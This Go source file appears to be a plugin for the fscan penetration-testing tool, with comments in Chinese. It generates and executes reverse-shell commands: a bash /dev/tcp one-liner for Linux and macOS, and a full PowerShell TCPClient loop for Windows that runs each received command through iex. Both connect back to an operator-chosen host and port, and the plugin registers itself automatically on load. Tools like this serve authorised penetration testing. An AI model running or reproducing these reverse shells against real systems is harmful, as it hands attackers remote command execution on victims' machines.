package reverseshell

import (
	"context"
	"fmt"
	"net"
	"os"
	"os/exec"
	"runtime"
	"strconv"
	"strings"
	"time"

	"github.com/shadow1ng/fscan/common"
	"github.com/shadow1ng/fscan/plugins/base"
	"github.com/shadow1ng/fscan/plugins/local"
)

// ReverseShellPlugin 反弹Shell插件
type ReverseShellPlugin struct {
	*local.BaseLocalPlugin
	connector *ReverseShellConnector
	target    string // 目标地址:端口
}

// ReverseShellConnector 反弹Shell连接器
type ReverseShellConnector struct {
	*local.BaseLocalConnector
	host string
	port int
}

// ReverseShellConnection 反弹Shell连接对象
type ReverseShellConnection struct {
	*local.LocalConnection
	Target string
	Host   string
	Port   int
}

// NewReverseShellPlugin 创建反弹Shell插件
func NewReverseShellPlugin() *ReverseShellPlugin {
	// 从全局参数获取反弹Shell目标
	target := common.ReverseShellTarget
	if target == "" {
		// 如果没有指定目标，使用默认值
		target = "127.0.0.1:4444"
	}

	metadata := &base.PluginMetadata{
		Name:        "reverseshell",
		Version:     "1.0.0",
		Author:      "fscan-team",
		Description: "反弹Shell本地插件，支持Windows/Linux/macOS",
		Category:    "local",
		Tags:        []string{"local", "shell", "reverse", "crossplatform"},
		Protocols:   []string{"local"},
	}

	connector := NewReverseShellConnector(target)
	plugin := &ReverseShellPlugin{
		BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector),
		connector:       connector,
		target:          target,
	}

	// 设置支持的平台
	plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
	// 不需要特殊权限
	plugin.SetRequiresPrivileges(false)

	return plugin
}

// NewReverseShellConnector 创建反弹Shell连接器
func NewReverseShellConnector(target string) *ReverseShellConnector {
	baseConnector, _ := local.NewBaseLocalConnector()
	
	host, portStr, err := net.SplitHostPort(target)
	if err != nil {
		host = target
		portStr = "4444" // 默认端口
	}

	port, err := strconv.Atoi(portStr)
	if err != nil {
		port = 4444 // 默认端口
	}

	return &ReverseShellConnector{
		BaseLocalConnector: baseConnector,
		host:               host,
		port:               port,
	}
}

// Connect 建立反弹Shell连接
func (c *ReverseShellConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) {
	// 先建立基础本地连接
	localConn, err := c.BaseLocalConnector.Connect(ctx, info)
	if err != nil {
		return nil, err
	}
	
	baseConn := localConn.(*local.LocalConnection)
	
	// 测试目标地址连通性
	conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%d", c.host, c.port), 5*time.Second)
	if err != nil {
		return nil, fmt.Errorf("无法连接到目标地址 %s:%d: %v", c.host, c.port, err)
	}
	conn.Close()

	reverseShellConn := &ReverseShellConnection{
		LocalConnection: baseConn,
		Target:          fmt.Sprintf("%s:%d", c.host, c.port),
		Host:            c.host,
		Port:            c.port,
	}
	
	return reverseShellConn, nil
}

// Close 关闭反弹Shell连接
func (c *ReverseShellConnector) Close(conn interface{}) error {
	return c.BaseLocalConnector.Close(conn)
}

// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	return p.ScanLocal(ctx, info)
}

// ScanLocal 执行反弹Shell扫描
func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
	common.LogBase("开始反弹Shell准备...")
	
	// 建立连接
	conn, err := p.connector.Connect(ctx, info)
	if err != nil {
		return &base.ScanResult{
			Success: false,
			Error:   fmt.Errorf("连接失败: %v", err),
		}, nil
	}
	defer p.connector.Close(conn)
	
	reverseShellConn := conn.(*ReverseShellConnection)
	
	// 生成反弹Shell命令
	commands := p.generateReverseShellCommands()
	currentOS := runtime.GOOS
	command, exists := commands[currentOS]
	if !exists {
		return &base.ScanResult{
			Success: false,
			Error:   fmt.Errorf("当前平台 %s 不支持反弹Shell", currentOS),
		}, nil
	}
	
	result := &base.ScanResult{
		Success: true,
		Service: "ReverseShell",
		Banner:  fmt.Sprintf("反弹Shell准备就绪 - 目标: %s 平台: %s", reverseShellConn.Target, currentOS),
		Extra: map[string]interface{}{
			"target":    reverseShellConn.Target,
			"platform":  currentOS,
			"command":   command,
			"status":    "ready",
			"commands":  commands,
		},
	}
	
	common.LogSuccess(fmt.Sprintf("反弹Shell扫描完成，目标: %s，平台: %s", reverseShellConn.Target, currentOS))
	return result, nil
}

// GetLocalData 获取反弹Shell本地数据
func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
	data := make(map[string]interface{})
	
	// 获取系统信息
	data["plugin_type"] = "reverseshell"
	data["platform"] = runtime.GOOS
	data["arch"] = runtime.GOARCH
	data["target"] = p.target
	
	if homeDir, err := os.UserHomeDir(); err == nil {
		data["home_dir"] = homeDir
	}
	
	if workDir, err := os.Getwd(); err == nil {
		data["work_dir"] = workDir
	}
	
	// 生成命令
	data["commands"] = p.generateReverseShellCommands()
	
	return data, nil
}

// ExtractData 提取数据并执行反弹Shell
func (p *ReverseShellPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
	commands, ok := data["commands"].(map[string]string)
	if !ok {
		return &base.ExploitResult{
			Success: false,
			Error:   fmt.Errorf("无法获取反弹Shell命令"),
		}, nil
	}

	currentOS := runtime.GOOS
	command, exists := commands[currentOS]
	if !exists {
		return &base.ExploitResult{
			Success: false,
			Error:   fmt.Errorf("当前平台 %s 不支持反弹Shell", currentOS),
		}, nil
	}

	common.LogBase(fmt.Sprintf("开始执行反弹Shell命令: %s", command))
	
	// 执行反弹Shell命令
	result, err := p.executeReverseShell(ctx, command)
	if err != nil {
		common.LogError(fmt.Sprintf("反弹Shell执行失败: %v", err))
		return &base.ExploitResult{
			Success: false,
			Error:   err,
			Extra: map[string]interface{}{
				"command":  command,
				"platform": currentOS,
				"target":   p.target,
			},
		}, nil
	}

	common.LogSuccess("反弹Shell执行完成")
	return &base.ExploitResult{
		Success: true,
		Output:  fmt.Sprintf("反弹Shell已执行，目标: %s", p.target),
		Data:    data,
		Extra: map[string]interface{}{
			"command":  command,
			"platform": currentOS,
			"target":   p.target,
			"output":   result,
		},
	}, nil
}

// generateReverseShellCommands 生成不同平台的反弹Shell命令
func (p *ReverseShellPlugin) generateReverseShellCommands() map[string]string {
	host, portStr, _ := net.SplitHostPort(p.target)
	if host == "" {
		host = p.target
		portStr = "4444"
	}

	commands := map[string]string{
		"linux": fmt.Sprintf("bash -i >& /dev/tcp/%s/%s 0>&1", host, portStr),
		"darwin": fmt.Sprintf("bash -i >& /dev/tcp/%s/%s 0>&1", host, portStr),
		"windows": fmt.Sprintf("powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('%s',%s);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"", host, portStr),
	}

	return commands
}

// executeReverseShell 执行反弹Shell命令
func (p *ReverseShellPlugin) executeReverseShell(ctx context.Context, command string) (string, error) {
	var cmd *exec.Cmd
	
	switch runtime.GOOS {
	case "windows":
		// Windows PowerShell命令
		cmd = exec.CommandContext(ctx, "powershell", "-Command", command)
	case "linux", "darwin":
		// Unix-like系统使用bash
		cmd = exec.CommandContext(ctx, "bash", "-c", command)
	default:
		return "", fmt.Errorf("不支持的操作系统: %s", runtime.GOOS)
	}

	// 设置超时
	timeoutCtx, cancel := context.WithTimeout(ctx, 10*time.Second)
	defer cancel()
	
	cmd = exec.CommandContext(timeoutCtx, cmd.Args[0], cmd.Args[1:]...)
	
	output, err := cmd.CombinedOutput()
	if err != nil {
		return "", fmt.Errorf("执行反弹Shell命令失败: %v, 输出: %s", err, string(output))
	}

	return string(output), nil
}

// GetInfo 获取插件信息
func (p *ReverseShellPlugin) GetInfo() string {
	commands := p.generateReverseShellCommands()
	var info strings.Builder
	
	info.WriteString(fmt.Sprintf("反弹Shell插件 - 目标: %s\n", p.target))
	info.WriteString("支持的平台命令:\n")
	
	for platform, command := range commands {
		info.WriteString(fmt.Sprintf("  %s: %s\n", platform, command))
	}
	
	return info.String()
}

// RegisterReverseShellPlugin 注册反弹Shell插件
func RegisterReverseShellPlugin() {
	factory := base.NewSimplePluginFactory(
		&base.PluginMetadata{
			Name:        "reverseshell",
			Version:     "1.0.0", 
			Author:      "fscan-team",
			Description: "反弹Shell本地插件，支持Windows/Linux/macOS",
			Category:    "local",
			Tags:        []string{"reverseshell", "local", "shell", "crossplatform"},
			Protocols:   []string{"tcp"},
		},
		func() base.Plugin {
			return NewReverseShellPlugin()
		},
	)
	
	base.GlobalPluginRegistry.Register("reverseshell", factory)
}

// init 插件注册函数
func init() {
	RegisterReverseShellPlugin()
}